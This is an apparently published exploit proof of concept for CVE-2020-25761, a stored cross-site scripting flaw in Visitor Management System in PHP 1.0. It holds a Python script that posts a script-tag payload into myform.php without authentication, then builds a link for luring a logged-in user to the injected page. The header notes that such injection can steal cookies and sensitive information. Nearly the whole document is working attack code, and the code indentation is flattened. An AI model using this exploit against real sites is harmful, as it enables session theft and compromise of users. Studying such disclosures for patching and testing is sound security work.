Visitor Management System In PHP 1.0 Cross Site Scripting

`# Title: Visitor Management System in PHP 1.0 - Unauthenticated Stored XSS  
# Exploit Author: Rahul Ramkumar  
# Date: 2020-09-16  
# Vendor Homepage: https://projectworlds.in  
# Software Link:  
https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip  
# Version: 1.0  
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1  
# CVE: CVE-2020-25761  
# Description: The file myform.php does not perform input validation on the  
request parameters. An attacker can inject javascript payloads in the  
parameters to perform various attacks such as stealing of cookies,sensitive  
information etc.  
  
import requests, sys, urllib, re  
from lxml import etree  
from io import StringIO  
from colorama import Fore, Back, Style  
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)  
import random  
import string  
  
def print_usage(STRING):  
return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET  
  
if __name__ == "__main__":  
if len(sys.argv) != 2:  
print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])  
print print_usage("Example:\t python %s '  
https://192.168.1.72:443/visitor_management/'" % sys.argv[0])  
sys.exit(-1)  
SERVER_URL = sys.argv[1]  
XSS_DIR = '/myform.php'  
XSS_URL = SERVER_URL + XSS_DIR  
XSS_PoC_URL = SERVER_URL + '/front.php'  
  
s = requests.Session()  
s.get(SERVER_URL, verify=False)  
payload = {'name': 'd3crypt','cno':'9876543210','purpose':'stored  
xss','MeetingTo':'Hack','comment':'<script>alert("xss")</script>','submit_post':'Submit','mydata':''}  
r1 = s.post(url=XSS_URL, data=payload, verify=False)  
r2 = s.get(XSS_PoC_URL, allow_redirects=False, verify=False)  
response_page = r2.content.decode("utf-8")  
parser = etree.HTMLParser()  
tree = etree.parse(StringIO(response_page), parser=parser)  
def get_links(tree):  
refs = tree.xpath("//a")  
links = [link.get('data-content', '') for link in refs]  
return [l for l in links]  
  
visitors = get_links(tree)  
#print(visitors)  
  
for visitor in visitors:  
if 'stored xss' in visitor:  
rid=visitor.split(':')[6].strip()  
print print_usage('Make the logged-in user click this URL: ' +  
XSS_PoC_URL + '?rid=' + rid)  
  
  
`